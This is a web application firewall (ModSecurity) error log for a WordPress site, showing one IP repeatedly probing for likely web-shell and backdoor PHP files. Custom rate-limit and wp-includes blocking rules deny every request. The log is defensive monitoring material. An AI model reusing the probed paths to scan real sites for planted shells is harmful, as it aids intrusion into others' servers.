[Tue Mar 24 05:46:43.909258 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:41822] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acG0w_wkUqN4GJAI5oV6YwAAAQU"]
[Tue Mar 24 05:46:45.836602 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:38777] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acG0xfwkUqN4GJAI5oV6ZwAAARM"]
[Tue Mar 24 05:46:47.637214 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:35532] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acG0x6JBKytnG47nuibcsAAAAEw"]
[Tue Mar 24 05:46:49.398194 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:31638] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/colors/blue/index.php"] [unique_id "acG0ySa_-JXXD03-JNzIkwAAAIw"]
[Tue Mar 24 05:46:50.699081 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:31927] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/colors/blue/index.php"] [unique_id "acG0yvwkUqN4GJAI5oV6dAAAAQs"]
[Tue Mar 24 05:46:51.832272 2026] [:error] [pid 3031:tid 3085] [client 172.213.136.15:21728] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/colors/blue/index.php"] [unique_id "acG0y6JBKytnG47nuibcwQAAAEk"]
[Tue Mar 24 05:46:52.705871 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:21739] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/colors/blue/index.php"] [unique_id "acG0zCa_-JXXD03-JNzImwAAAJY"]
[Tue Mar 24 05:46:53.972947 2026] [:error] [pid 3031:tid 3090] [client 172.213.136.15:35580] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s12.php"] [unique_id "acG0zaJBKytnG47nuibcygAAAE4"]
[Tue Mar 24 05:46:55.390889 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:26196] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s12.php"] [unique_id "acG0z_wkUqN4GJAI5oV6fQAAAQ0"]
[Tue Mar 24 05:46:56.585553 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:39861] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s12.php"] [unique_id "acG00PwkUqN4GJAI5oV6hQAAAQw"]
[Tue Mar 24 05:46:57.473369 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:31635] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s12.php"] [unique_id "acG00Sa_-JXXD03-JNzIogAAAJQ"]
[Tue Mar 24 05:47:16.029955 2026] [:error] [pid 3030:tid 3058] [client 172.213.136.15:22665] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz10.php"] [unique_id "acG05AyOuILyynfcqfn3BAAAAAk"]
[Tue Mar 24 05:47:17.113425 2026] [:error] [pid 3031:tid 3096] [client 172.213.136.15:21741] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz10.php"] [unique_id "acG05aJBKytnG47nuibc6AAAAFQ"]
[Tue Mar 24 05:47:18.029860 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:39868] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz10.php"] [unique_id "acG05pdZesutm6dfYM_kbQAAAM0"]
[Tue Mar 24 05:47:19.303889 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:41745] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz10.php"] [unique_id "acG056JBKytnG47nuibc7AAAAEU"]
[Tue Mar 24 05:47:20.762809 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:22715] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acG06Ca_-JXXD03-JNzIvgAAAIc"]
[Tue Mar 24 05:47:21.710984 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:26634] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acG06fwkUqN4GJAI5oV6tQAAAQs"]
[Tue Mar 24 05:47:23.446849 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:39145] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acG06_wkUqN4GJAI5oV6vAAAARI"]
[Tue Mar 24 05:47:24.910560 2026] [:error] [pid 3031:tid 3089] [client 172.213.136.15:20948] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acG07KJBKytnG47nuibc_QAAAE0"]
[Tue Mar 24 05:47:26.065385 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:26187] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ths.php"] [unique_id "acG07vwkUqN4GJAI5oV6wAAAAQE"]
[Tue Mar 24 05:47:27.160683 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:20990] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ths.php"] [unique_id "acG075dZesutm6dfYM_kyAAAAM0"]
[Tue Mar 24 05:47:29.416141 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:40610] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ths.php"] [unique_id "acG08ZdZesutm6dfYM_kyQAAAMo"]
[Tue Mar 24 05:47:30.682804 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:21697] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ths.php"] [unique_id "acG08vwkUqN4GJAI5oV6ywAAAQo"]
[Tue Mar 24 05:47:31.750611 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:28128] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ea3f.php"] [unique_id "acG086JBKytnG47nuibdSAAAAEI"]
[Tue Mar 24 05:47:35.084807 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:25864] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ea3f.php"] [unique_id "acG09_wkUqN4GJAI5oV6zwAAARg"]
[Tue Mar 24 05:47:36.231787 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:31650] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ea3f.php"] [unique_id "acG0-PwkUqN4GJAI5oV60AAAAQc"]
[Tue Mar 24 05:47:36.901491 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:25909] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ea3f.php"] [unique_id "acG0-PwkUqN4GJAI5oV60gAAAQk"]
[Tue Mar 24 05:47:38.362592 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:40291] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/about.php"] [unique_id "acG0-vwkUqN4GJAI5oV61gAAARM"]
[Tue Mar 24 05:47:39.684850 2026] [:error] [pid 3030:tid 3065] [client 172.213.136.15:33257] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/about.php"] [unique_id "acG0-wyOuILyynfcqfn3NQAAABA"]
[Tue Mar 24 05:47:40.903068 2026] [:error] [pid 3031:tid 3077] [client 172.213.136.15:26677] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/about.php"] [unique_id "acG0_KJBKytnG47nuibdUgAAAEE"]
[Tue Mar 24 05:47:42.409360 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:39836] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/about.php"] [unique_id "acG0_ia_-JXXD03-JNzIzwAAAIk"]
[Tue Mar 24 05:47:43.155903 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:39113] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an8.php"] [unique_id "acG0__wkUqN4GJAI5oV63wAAARI"]
[Tue Mar 24 05:47:45.147290 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:28115] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an8.php"] [unique_id "acG1AQyOuILyynfcqfn3OAAAAAY"]
[Tue Mar 24 05:47:45.947154 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:22710] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an8.php"] [unique_id "acG1AfwkUqN4GJAI5oV65wAAAQ0"]
[Tue Mar 24 05:47:47.364133 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:26209] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an8.php"] [unique_id "acG1A5dZesutm6dfYM_k2gAAAM8"]
[Tue Mar 24 05:47:47.955853 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:25822] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yanz.php"] [unique_id "acG1A_wkUqN4GJAI5oV68gAAAQY"]
[Tue Mar 24 05:47:49.508429 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:22674] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yanz.php"] [unique_id "acG1BSa_-JXXD03-JNzI1QAAAI8"]
[Tue Mar 24 05:47:50.393435 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:25817] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yanz.php"] [unique_id "acG1BpdZesutm6dfYM_k3QAAANA"]
[Tue Mar 24 05:47:51.984889 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:32987] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yanz.php"] [unique_id "acG1B5dZesutm6dfYM_k4gAAANQ"]
[Tue Mar 24 05:47:53.357071 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:41787] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qsntqiho.php"] [unique_id "acG1CZdZesutm6dfYM_k5AAAANU"]
[Tue Mar 24 05:47:55.055008 2026] [:error] [pid 3031:tid 3099] [client 172.213.136.15:25919] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qsntqiho.php"] [unique_id "acG1C6JBKytnG47nuibdXQAAAFc"]
[Tue Mar 24 05:47:56.431722 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:25896] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qsntqiho.php"] [unique_id "acG1DPwkUqN4GJAI5oV7DgAAARg"]
[Tue Mar 24 05:47:58.937257 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:22660] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qsntqiho.php"] [unique_id "acG1DpdZesutm6dfYM_k7wAAANE"]
[Tue Mar 24 05:48:00.751298 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:39124] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g7y.php"] [unique_id "acG1ECa_-JXXD03-JNzI2wAAAJU"]
[Tue Mar 24 05:48:01.682346 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:40595] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g7y.php"] [unique_id "acG1EfwkUqN4GJAI5oV7HQAAAQM"]
[Tue Mar 24 05:48:02.451973 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:32954] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g7y.php"] [unique_id "acG1EvwkUqN4GJAI5oV7IQAAAQs"]
[Tue Mar 24 05:48:03.858446 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:35571] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g7y.php"] [unique_id "acG1E5dZesutm6dfYM_k9gAAAMc"]
[Tue Mar 24 05:48:06.559834 2026] [:error] [pid 3030:tid 3056] [client 172.213.136.15:31717] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinha.php"] [unique_id "acG1FgyOuILyynfcqfn3RAAAAAc"]
[Tue Mar 24 05:48:07.579872 2026] [:error] [pid 3030:tid 3072] [client 172.213.136.15:20842] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinha.php"] [unique_id "acG1FwyOuILyynfcqfn3SAAAABc"]
[Tue Mar 24 05:48:09.567832 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:41756] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinha.php"] [unique_id "acG1GSa_-JXXD03-JNzI5QAAAIs"]
[Tue Mar 24 05:48:10.704145 2026] [:error] [pid 3030:tid 3063] [client 172.213.136.15:41813] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinha.php"] [unique_id "acG1GgyOuILyynfcqfn3UQAAAA4"]
[Tue Mar 24 05:48:13.494201 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:25899] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "acG1HfwkUqN4GJAI5oV7MgAAAQY"]
[Tue Mar 24 05:48:51.269149 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:31675] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "acG1Qya_-JXXD03-JNzJHwAAAII"]
[Tue Mar 24 05:48:52.604581 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:37583] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "acG1RCa_-JXXD03-JNzJIwAAAIA"]
[Tue Mar 24 05:48:54.041648 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:28202] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "acG1RpdZesutm6dfYM_lOwAAAMA"]
[Tue Mar 24 05:48:54.933454 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:38293] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "acG1RvwkUqN4GJAI5oV7kAAAAQM"]
